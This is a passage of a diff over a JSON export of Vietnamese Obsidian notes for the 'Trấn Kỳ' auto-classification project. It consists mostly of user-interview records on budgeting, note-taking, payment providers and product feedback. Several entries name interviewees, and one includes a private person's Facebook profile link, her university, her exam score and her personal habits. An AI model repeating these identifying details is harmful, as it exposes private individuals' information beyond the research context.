là cho bản thân. Nếu không được thì chỉ tốn thời gian cho việc đào tạo người mới khi không cho bạn tài liệu để tham khảo được mà phải tự giải thích từ đầu đến cuối. Và việc này là vấn đề ở tương lai. Nếu muốn phát triển bản thân, làm những thứ lớn hơn, đi du học thì sẽ quan trọng.\r\n\r\nNhư người bình thường có thể quên thì cũng được, \r\ncó một con bé hỏi về hành vi ngôn ngữ, nhưng tra bằng Wikipedia thì vẫn có nhưng không đủ, nhưng ít liên quan hoặc khó áp dụng bằng sách. Nên em nhận ra là thay vì summary thì nên có dẫn chứng ngắn gọn. Cách em ứng dụng lý thuyết của mình, ví dụ cách dùng, để có thể có hình dung\r\n\r\ncâu hỏi về một chị của em, tại sao việt nam bỏ kinh tế bao cấp. Nhưng nếu tra thì ko có ra thẳng vấn đề mà lại cố gắng trả lời đầy đủ. Người . Google tra các page, và muốn lên thì nó phải tổng hợp. Không làm từ góc độ người học hoặc toạ đàm mà từ góc đọ tra thông itn\r\n\r\nchatgpt ko trả lời như một nhà giáo dục\r\n\r\nKhác biệt với Wikipedia: chỉ tổng hợp kiến thức cơ bản, sơ khai, ko có nói về việc mình liên tưởng, hình dung \r\ntầm 1 2 năm nữa có trên mấy nghìn note thì sẽ có các evergreen note. \r\n\r\nexchange data\r\n\r\nchưa chia sẻ nhiều. Có người hỏi muốn được chỉ notion\r\nlàm một vid gì đó để họ hiểu\r\nhọ cần ví dụ, dễ hiểu, navigate.\r\n\r\nviết notion là ăn liền, cho mọi người\r\nNhược điểm: database trình bày rất nhiều, ko có sort, \r\nkhông muốn thử\r\n## Bạn cảm thấy như thế nào vào thời điểm đó?\r\nBất tiện. Làm chầm chậm thì cũng hay, nhưng ko làm quy mô lớn được.\r\n\r\n# Bạn nghĩ rằng giải pháp cho bạn nên là như thế nào?\r\n## Bạn có bao giờ nghĩ giá như có một giải pháp giúp tự động hoá những chuyện này không?\r\n## Bạn có nghĩ giải pháp đó là đơn giản không?\r\n## Theo bạn tại sao bạn chưa có giải pháp đó?\r\n## Nếu là AI thì sao?\r\nMỗi người nên có cái pkm của mình. AI thực ra có thể lấy data trên mạng, nhưng có những cái mà mình thu thập được mà nó ko thu thập đc, ví dụ như tài liệu nội bộ.\r\n\r\nKhông định dùng AI để tra kiến thức. AI là để tranh luận chung với mình, làm chung với mình, hơn là một công cụ. VD: code chạy cho mình.\r\n## Bạn nghĩ giá của nó nên như thế nào?\r\nGiá không quan trọng, quan trọng là khả năng chia sẻ, để cho cộng đồng của sản phẩm. Sau này còn có thể dùng nó cho cộng đồng của mình.\r\n\r\nVề giá 5tr thì vì bản thân ko biết cách định giá, nên mọi người ra giá bao nhiêu thì lấy. Lấy theo % cũng được nhưng cũng không biết. Ko bị ảnh hưởng bởi 5tr, nhưng cố đc bao nhiêu thì cố.\r\n\r\nTrả góp thì dễ hơn. Muốn trao đổi bằng kiến thức.\r\n\r\nTrước khi tìm thấy trấn kỳ 1 2 ngày thì có thấy [một sản phẩm y chang luôn](https://www.facebook.com/reel/2034498810230267). Cái này thì làm marketing dễ thu hút người ta hơn. Cũng user friendly hơn. Tuy nhiên lại ko đa dụng hơn. Việc tạo bot telegram là được ngay. Chỉ muốn là nhân cơ hội để học code. \r\n\r\n# Bạn nghĩ như thế nào về việc lập trình?\r\n## Bạn có thấy mình cần biết lập trình không?\r\n## Vì sao bạn thấy mình cần biết lập trình?\r\ncấu trúc dữ liệu, làm nhiều hơn mấy cái download. Cũng ko cần quá nhiều tài liệu gì\r\n## Những lúc bạn cần lập trình là khi nào?\r\n## Bạn thấy khả năng lập trình của mình là thế nào?\r\n## Bạn muốn khả năng lập trình của mình tới mức nào?\r\n## Bạn có muốn cải thiện khả năng đó không?\r\n## Vì sao bạn chưa làm điều đó?\r\nnguồn đủ tốt để \r\ncó nhiều cái cũng bỏ dở. Có một số task mang tính thời sự \r\nmới chỉ biết nhiều về cách lấy tài liệu\r\nđang theo course [Hacker101](https://www.hacker101.com/ \"Home | Hacker101\"). Cũng bỏ được vài tuần, cũng chưa có định hướng. Cơ sở dữ liệu thì cần hơn.\r\nbị hook vào một cái lỗi mà mất 3 ngày liên tục, nhưng sau đó bỏ mấy tuần\r\nnghĩ rằng thuyết trình thì đủ rồi, còn chuyên sâu thì không\r\nvấn đề về chương trình học hơn là thời gian\r\n\r\n## Điều gì sẽ giúp bạn làm điều đó?\r\n\r\n# Bạn nghĩ thế nào về các buổi hướng dẫn Trấn Kỳ?\r\n## Nếu có các buổi hướng dẫn cách phân loại, và từ đó cũng biết được các khái niệm căn bản của lập trình thì bạn nghĩ thế nào?\r\n## Bạn có hứng thú tham gia tổ chức buổi hướng dẫn không?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nbài code: khó \r\n\r\ntrong lúc đăng ký\r\nđi tới bài hỗ trợ kendy\r\ncác buổi chia sẻ kỹ năng miễn phí\r\n\r\nbiết từ mấy bài về sự bất lực học được. Sau một thời gian\r\nuow phức tạp thật. Nghi cũng ko biết giải thích thế nào.\r\nđọc lịch sử phát triển một vấn đề thì sẽ dễ hiểu hơn\r\n\r\nlúc đó chưa quan tâm lý do viết trấn kỳ\r\n\r\nchưa có vision cụ thể cho em\r\n\r\nbất tiện vì ko có chỗ để lưu chung. Phải bật notion, ko share được từ đt\r\n\r\nhơi ngại vì chưa chào hỏi, cộng đồng chưa có cảm giác getin một cách dễ dàng\r\nKhông hỏi trên discord vì thấy đã có nhiều tài nguyên rồi, mình cũng phải tự process. Nếu tham gia thì hỏi một thể\r\n\r\nNotion nhìn đẹp hơn, chia sẻ cho người khác tốt hơn. Tương tác bằng whiteboard, graph sẽ tốt hơn. Logseq dùng để link\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T10:03:00.000Z", + "Ngày cập nhật": "2024-08-01T13:42:00.000Z", "id": "4y" }, { - "Tiêu đề": "Ý kiến của chị Hoà", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Plugin tích hợp vào các chương trình kế toán/Ý kiến của chị Hoà", + "Tiêu đề": "Nguyễn Hữu Quý Ngân", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Nguyễn Hữu Quý Ngân", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## View người dùng\r\n### Điểm mạnh\r\n1. Giúp đối soát tiền thu với các hóa đơn bán hàng nhanh hơn do qua 1 hệ thống trung gian thanh toán có thể map số bill với tiền về\r\n2. Đẩy mạnh cashless – cái này nhiều doanh nghiệp cũng phát triển\r\n3. Ở giai đoạn đầu VNPAY và các cổng thanh toán burn tiền thì có nhiều khuyến mại\r\n\r\n### Điểm yếu\r\n1. Đúng như em nói, thanh toán chỉ là 1 khâu trong vận hành và người dùng sẽ mong muốn 1 giải pháp tổng thể hơn (nhập hàng – thanh toán cho nhà cung cấp – bán hàng – thu tiền) – và với VNPAY thì chỉ giải quyết được khâu thu tiền \r\n2. Tiền về chậm, tiền không nổi ngay về tài khoản khách hàng (trước đây là T+2, chị không rõ là bây giờ có nhanh hơn không)\r\n3. Chi phí giao dịch phải trả cho VNPAY \r\n\r\n## View của VNPAY\r\n1. Tại sao họ lại chỉ làm thanh toán: họ cần xây dựng mạng lưới merchant để triển khai các dịch vụ khác (ví điện tử, ….) và end game có thể là cho vay (thông thường sẽ là giải pháp này thì mới kiếm được tiền)\r\nCác cty giải pháp thanh toán thực tế là đang burn tiền để xây dựng 1 văn hóa thanh toán mới trên thị trường, nhưng thực tế thì VIETQR của NAPAS lại đang chiếm vị thế hơn cả vì không mất phí giao dịch, tiền về luôn và quan trọng hơn là NAPAS có hậu thuẫn từ nhà nước. \r\n\r\n2. Góc nhìn vv cung cấp giải pháp tổng thể ERP: thường thì các công ty làm dịch vụ thanh toán họ sẽ ko nghĩ đến tự build giải pháp ERP, mà xu hướng là tìm partnership ở mảng đó để kết nối. (Ví dụ Momo kết nối với Cukcuk của Misa để liên thông hệ thống thanh toán). Tuy nhiên, việc kết nối hiện tại rất phân mảnh, tùy vào relationship của các bên và còn có yếu tố thượng tầng bên trên liên quan đến lợi ích của nhà đầu tư.\r\n\r\n## View của nhà điều hành doanh nghiệp\r\n1. Hiện tại không có giải pháp nào tối ưu về toàn bộ khâu từ đầu vào đến đầu ra  Các doanh nghiệp có xu hướng test & learn, đấu nối các giải pháp với nhau để cho hiệu quả tối ưu nhất. Và yếu tố quan trọng nhất là các giải pháp có khả năng Integrate với nhau (cái này đang là rào cản lớn nhất) \r\n\r\n2. Về giải pháp thanh toán: lựa chọn bên cung cấp với chi phí thấp, tiền về nhanh và có khả năng đối chiếu tự động giữa hóa đơn bán hàng và tiền thu về, tỷ lệ drop các giao dịch thấp để không ảnh hưởng đến trải nghiệm khách hàng, có khả năng tích hợp nhiều hình thức thanh toán (ví điện tử, ngân hàng, thẻ)\r\n\r\n## GIẢI PHÁP CỦA TRẤN KỲ vv phân loại dòng tiền với doanh nghiệp và cá nhân\r\n- Với doanh nghiệp: Có tiềm năng chạy song song với các hệ thống quản trị hiện tại nếu có thể kết nối được (Ví dụ: từ bảng ghi chép của Trấn Kỳ generate ra bảng thu-chi tiền  Đẩy được vào hệ thống quản lý cửa hàng  đẩy tự động vào hệ thống kế toán)\r\n\r\n- Với cá nhân: có thể triển khai trước như 1 App quản lý tài chính cá nhân \r\n - Tạo bảng ghi chép tự động các khoản chi tiêu\r\n - AI phân tích chi tiêu hàng tháng  đưa ra các advise về trend chi tiêu, suggestion cho kỳ sau", + "Toàn bộ nội dung": "[[Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n# tab 1\r\ndùng monthly budget \r\ncó một số mục như đầu tư, ăn, quà tặng, dịch vụ y tế, thuốc men, tiền nhà/điện/nước/internet, đi lại\r\n\r\ntravel chỉ có một số lúc đáng kể, chứ đa phần ko có. \r\ndebt thì thường là credit\r\nhay để ý nhất là đầu tư, phụ huynh, học\r\n\r\n# tab 2\r\nchi tiết cụ thể\r\nchỉ quan tâm số lượng bao nhiêu, thuộc thể loại nào\r\n\r\nthành ra báo cáo này thuần về cashflow chứ ko phải là balance sheet \r\n\r\nđộ chênh lệch giữa actual và planned\r\n\r\nra được một report tổng cuối năm. Truy ra chi tiết từng câegory trong mỗi tháng, sau đó vẽ ra một cái chart \r\n\r\n\r\ndù có tháng gồng nợ, nhưng cơ bản là cuối năm vẫn đạt target\r\n\r\nnhững cái app chỉ đưa ra con số thực tế chứ không có plan, và chênh lệch giữa plan. Cái cảm giác tội lỗi chỉ có vài ngày\r\n\r\nphòng budgeing cũng ko biết. Gom tất cả các luồng tiền từng chi vào một report. SỐ mới update liên tục bằng powerBI. Cách họ đọc biểu đồ ở cấp độ quản lý, còn như em thì chỉ cần \r\n\r\nngay lúc bấm confirm mua hàng thì con số đã tự động cập nhật\r\ndynamics ax\r\n\r\nngày xưa ba em quản lý đúng theo kiểu kế toán\r\n\r\ndùng sheeet google tại quen kiếm tiếng Anh, chứ tiếng Việt thì ko ổn định\r\n\r\nlúc search thì cũng thấy có nhiều người làm, nhưng tụi nó làm thấy rối quá, \r\nđến với google là vì sự đơn giản với kiếm cái chóc là ra\r\nChỉ muốn sau 5, 10 phút sau là làm đc rồi\r\nCó để vợ xài nữa\r\nchỉ quan tâm ngày chi, số tiền,\r\ndưới 10 loại phân loại\r\ngom hết thành một cục\r\n\r\nthấy đi nhậu mà tiền di chuyển tăng lên\r\nchỉ mua duy nhất là đồ ăn và đồ cho con\r\n\r\nbật lên thì mất thời gian, nên cưới ngày mới bật lên làm. Nhập lên thì phải thống kê. Móc đt ra thì cũng bất tiện\r\nnếu làm app quá tiện thì cảm giác chi tiêu quá trớn sẽ có luôn, nên ko tận hưởng được\r\n\r\ntiện thì cần tiện, có xài google kêp nhưng lucsn oà mua nhiều đồ quá mới ghi, còn thì dùng bill hoặc cà thẻ\r\nteam trong công ty này có khi nhậu mỗi ngày\r\ntháng nào cũng phải lên plan. Về tổng thể thì tiền chi cho ăn uống là ổn định, còn những cái khác thì cứ lên xuống. Nên tháng nào cũng phải điều chỉnh\r\n\r\nko có nhu cầu kếp lên sheet. Nhưng nếu từ lens vào keep thì đc. Cái khó là bill lẫn lôn category và cấu trúc. VD như bill du lịch vừa là sản phẩm (ăn uống) + nghỉ dưỡng + spa cộng hết vào\r\n\r\nteam data, app mobile\r\nsheet ko validate \r\nlâm sàng thì phải truy xuất, bất cứ thay đổi gì đều phải truy xuất đc ai làm, làm những gì\r\nteam 5 thằng, 150 mấy nghiên cứu\r\n\r\n\r\nnhiều khi bảng câu hỏi chỉ có đầu, cuối, chứ ở giữa ko có. Ohair nhắc điền lại\r\n\r\n\r\n# Thông tin cơ bản\r\n## Giới thiệu về bản thân, công việc\r\n\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n## Bạn thường phân loại những gì?\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\n## Bạn thấy chân trang thế nào?\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\n## Nhu cầu, ưu tiên, dự định trong cuộc sống\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T10:03:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4z" }, { - "Tiêu đề": "Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Trấn Kỳ", + "Tiêu đề": "Nguyễn Khánh Huyền", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Nguyễn Khánh Huyền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Trấn Kỳ (quang cảnh thị trường)|Tính năng của Trấn Kỳ]]: giúp tạo metadata, tự động hoá việc nhập liệu và phân loại, gắn nhãn, để biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ\" \r\nWHERE file.name!=this.file.name\r\nWHERE !contains(file.folder, \"Cũ\" )\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n\r\n## Nơi thảo luận\r\n![](https://i.imgur.com/TDK2yri.png)", + "Toàn bộ nội dung": "## Thông tin cơ bản\r\n[Nguyễn Khánh Huyền](https://www.facebook.com/pistachio.212/) bình luận trong nhóm\r\n[Phân tích và xử lý dữ liệu - Data analysis and Processing](https://www.facebook.com/groups/dataanalysisandprocessing/posts/1616590132480059/?comment_id=1621108902028182)\r\n> Hehe, hôm bữa đi đường mới có idea này xong, giờ thấy sp thật luôn\r\n\r\n## Giới thiệu về bản thân, công việc\r\nsinh viên kỹ thuật máy tính, trường ĐHCN, khoa điện tử, kết hợp của CNTT với điện tử năm 3. Biết nhóm này từ lời mời trực tiếp của admin.\r\nvi mạch, nhúng, \r\nvài năm đầu học điện tử\r\n\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n- Chi tiêu\r\n- Nhật ký: chuyện học hay tự đối thoại\r\n## Bạn thường phân loại những gì?\r\nchi tiêu\r\nNhật ký thì chỉ ghi theo ngày chứ cũng ko phân loại. \r\n## Việc phân loại giúp ích được những gì cho bạn?\r\nPhân loại là để nhìn, báo cáo bao nhiêu %\r\nNếu phân loại được nhật ký thì cũng tốt. Muốn biết mình tốt hơn hay xấu hơn. Gõ từ khoá theo tiêu đề\r\nBây giờ cũng không nhất thiết phải có thống kê\r\n\r\nThứ hữu ích nhất là tính tổng tiền trong tháng. Nhìn vào mục phân loại thì biết \r\nMột tháng chỉ tầm 45 dòng\r\n\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\nNhập vào mua rau thì là thức ăn\r\n\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\napp nào cũng có nhưng chẳng bao giờ dùng\r\nHồi đầu dùng Moneylover, nhưng tính phí hay thế nào mà chỉ dùng 1 năm rồi thôi. Giờ thì dùng excel \r\nMuốn có báo cáo, mấy cái ghi chép hay công cụ chỉ để tiết kiệm thời gian chứ ko muốn dành quá nhiều thời gian\r\n\r\nbắt đầu từ ngày lên đại học thì cũng dùng đc 1 2 năm nhưng ko liên tục. Có lúc ghi ra giấy\r\nCả một ngày mới ghi, cũng có khi 2 3 hôm mới ghi lại. Vì lười. Cũng chỉ là sv thì cũng ko nhiều lắm, nếu ck thì có ở đó, với cũng nhớ\r\n\r\nMoneylover miễn phí chỉ cho dùng một ví, còn muốn dùng nhiều ví thì phải thêm tiền. Lúc đó chưa làm ra tiền mà chỉ tiêu. Tiền gia đình thì lúc thì là thẻ, lúc thì tiền mặt\r\n\r\n### Lý do không dùng các mẫu thu chi có sẵn\r\nkhông dùng những cái phức tạp, tốn thời gian và cầu kỳ. Dành 1 2 phút là đã lười rồi. Ngồi 5 10 phút để sửa này sửa kia. Quá phức tạp về ngoại hình. Trên YouTube cũng có nhiều hướng dẫn làm excel rất là xịn. Sau khi nhập thì cũng có thống kê\r\n\r\ncái ko muốn bỏ thời gian là mình đã có một ứng dụng hoàn thiện rồi, và mình chỉ cần 1 vài phút là đc\r\n\r\nphức tạp hơn nhu cầu của em. Biết đến Notion trước, nhưng thấy nó phức tạp về mặt, to do list, sách đã đọc. Google sheet cho cảm giác gọn. Notion thì muốn cho trang trí thì mình lại muốn làm. \r\n\r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\nmôn tự chọn là học máy, cái hôm đi đường thì nghĩ về phân loại chi tiêu\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\nchưa bao giờ dùng nên cũng chưa biết được độ chính xác. Chỉ hỏi tiếng Anh, chứ tiếng Việt ngốc ngốc \r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\nĐiều mình muốn thử:\r\n1. hợp nhu cầu\r\n2. chi phí\r\n3. dễ sử dụng\r\n4. hợp mắt với giao diện \r\nKhông biết xếp vậy đúng chưa hay chỉ là cảm tính nhất thời. Vì mình nghĩ ra nó nên thấy chỉ có nhu cầu dùng nó hơn người chưa bao giờ nghĩ về nó một chút thôi\r\n\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\nLý do comment là vì sáng đi xe nghĩ thì chiều về lướt fb đã có người làm nên thấy trùng hợp. Trùng hợp thì đã comment là đc, chứ việc đọc kỹ thì là phải đúng nhu cầu. Chỉ đọc khi theo đúng mảng mình học\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\nTích hợp thì chưa có nhu cầu\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\nthấy phần giao diện hợp ý nó đơn giản, nhưng bề ngang thì kéo dài\r\nĐể nó hiển thị ra dài thì cũng nhiều, muốn mình chỉ nhìn một. Nó cũng dài nhưng muốn nó hiển thị hết ra. Muốn những cột khác được ẩn đi\r\nSợ nó phức tạp mặc \r\n\r\nSau đó bấm qua thiết lập. Đọc hết rồi bấm qua khung cấu hình\r\nmuống không phải là thìa. Như thế thì khá là dài.\r\n\r\nsau đó thử nhập: 120k xe, thấy món đồ ko có gì thì chuyển thành 120k đi xe khách\r\n40k bánh xíu páo. Thấy \"xíu páo\" TK ko bắt được, nhưng thấy cũng đc\r\nChi thì để màu đỏ hoặc trắng, thu thì là xanh, ko làm nó dài dài ra \r\nmuốn mới nhập lên trên đầu\r\n\r\nmỗi tháng là một tab.\r\nTìm lướt lướt\r\n\r\ndễ dùng, nhưng ko dùng vì bảng tự viết thì có màu và chỉ có 3 cái. Lướt để nhập chứ cũng không tự nhập gì cả. Một ngày chỉ có tầm 2, 3 khoản chi nên việc phân loại thủ công cũng nhanh\r\n\r\ncó app tiếng việt nhưng xấu nên chỉ dùng 1 tuần\r\n\r\n## Bạn thấy chân trang thế nào?\r\nko thích màu xấu. \r\n\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Bạn thấy các bài viết như thế nào?\r\nlúc mới đọc thì ko biết Trấn Kỳ là tên người hay tên app. Vì nếu là tên app thì hơi lạ\r\nTrấn kỳ là gì → các buổi đáp ứng nhu cầu → Lý do viết TK\r\ncác buổi đáp ứng nhu cầu: thì ra là ở đây có cộng đồng, hội nhóm, chứ ko đọc ở đây dạy những cái gì\r\n\r\nko đọc kỹ, chỉ nhìn lung tung, ko biết là một người hay một nhóm\r\ntừ ngữ không có tính phổ thông mà nó học thuật hoặc cao siêu gì đấy so với trình độ của mình. Có dừng chậm lại để đọc nhưng cũng không hiểu. Cách dùng từ ngữ hơi bị \r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\nDùng Notion vì có cái bảng calendar\r\nKo ai bỏ hết trứng vào một giỏ. Ko may bị mất tài khoản hay dữ liệu. Cũng ko phải là lo là mất dữ liệu, chỉ là vì ko có lý do quá lớn, dù những tính toán mà mình cần thì Notion cũng có\r\nsau đó chuyển sang Obsidian vì có phần link. Dùng Notion ghi nhật ký vì có calendar view, \r\n\r\nObsidian thì chủ yếu là cho kiến thức trên trường. Notion cũng link đc nhưng không tiện. Cái gì trên Notion làm được thì Obsidian cũng làm đc, \r\n\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\nkhông vấn đề gì\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\nHọc ngành này vì ko phải nói nhiều, gần CNTT nhưng ko phải cạnh tranh quá nhiều \r\n\r\n## Nhu cầu, ưu tiên, dự định trong cuộc sống\r\nthích nghe người khác kể truyện, nên thích đọc truyện, đối thoại với tác giả. Trước giờ vẫn đọc ngôn tình, đến tuổi này đỡ hơn vì nó phi thực tế, giờ thì là tiểu thuyết văn học, sách sử, sinh, phát triển bản thân, self-help, tâm lý. Vớ được cái gì thì đọc\r\ntrinh thám kinh dị ko thích lắm\r\n\r\ncảm thấy buổi nói chuyện này cũng bình thường. Hay bị hỏi là đang cảm thấy cái gì, nhưng chỉ thấy ko có gì hoặc bình thường\r\n\r\nCông nghiệp lấy điểm thấp nhất. Thi được 27,2, công nghệ lấy 27,9. \r\n\r\nthấy bạn cấp 3 thông minh. Môi trường ở đây ko năng động lắm\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-28T15:41:00.000Z", - "Ngày cập nhật": "2024-08-07T08:45:00.000Z", + "Ngày tạo": "2024-02-17T07:05:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4-" }, { - "Tiêu đề": "Tạo cửa hàng", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Tạo cửa hàng/Tạo cửa hàng", + "Tiêu đề": "Trần Hoà", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Trần Hoà", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Tạo cửa hàng", + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lợi ích:\n- Vay CEP\n\n[[3 Ý tưởng|Một số ý tưởng kiếm tiền]]", + "Toàn bộ nội dung": "# Thông tin cơ bản\r\n## Giới thiệu về bản thân, công việc\r\nkhách hàng cá nhân chỉ muốn biết ghi chép\r\n\r\ndoanh nghiệp hiện tại của chị dùng misa đưa cho kế toán cũng mất khá nhiều thời gian. Các giao dịch thường lặp đi lặp lại hàng tháng. \r\n80% thì cũng ok\r\ntìm hiểu bên fpt aka bot có thể tự chụp và tạo thành bảng mô tả nhưng chỉ ưu tiên các phần mềm cho doanh nghiệp lớn\r\ndanh sách trong tháng đấy rồi. Tổng kết lại và chuẩn hoá lại. \r\n\r\nmisa cho nhu cầu cơ bản thì ko vấn đề gì cả. Book sổ vào sổ sách mà chỉ quan tâm đến việc \r\n3 4 bạn kế toán để ghi chép lại \r\n\r\nbộ máy cồng kênh mà mức độ chính xác ko cao\r\n\r\nngành của chị trước giờ làm thủ công\r\n\r\n\r\nchị làm chuỗi f&b cà phê bán theo chuỗi\r\nmisa cookb. Chi phi \r\ngiảm lượng người hạch toán, tăng \r\n\r\nchỉ cần biết data gốc, \r\n\r\nlà người khá customize trong nhu cầu\r\n\r\ntìm hiểu một số khoá, trung tâm. mindx sợ dàn trải\r\n\r\nhệ thống báo cáo quản trị thông tin cho các sếp\r\ntư duy thiết kế data là gì\r\nchọn công cụ gì để match công cụ gì với cái bảng số đấy. Dự đoán 6 tháng nữa thì dữ liệu sẽ rất nhiều\r\ncông cụ ấy \r\n\r\nfintech hàn quốc \r\ntoss ở HQ 10 năm về ứng dụng như momo. Giờ đã rút ra khỏi thị trường. Hơn 1 năm làm với họ thì thấy họ làm app khá là khác với thị trường VN:\r\n- tìm hiểu painpoint, kiểm thử, mỗi một tính năng áp dụng mới là mất 1, 2 tuần triển khai\r\n- ở HQ thì khách hàng rất thích chuyển tiền. Ở VN thì ko thấy\r\n- dùng thì thấy tương đối đơn giản. Muốn tối ưu số lượng khách hàng, số lượng click càng ít thì càng thích\r\nfintech HQ thì đã phát triển cách đây 10 năm rồi. Trước đây các công ty tập trung vào growth, nhưng giờ bây giờ khó khăn thì muốn tăng lợi nhuận.\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n## Bạn thường phân loại những gì?\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân 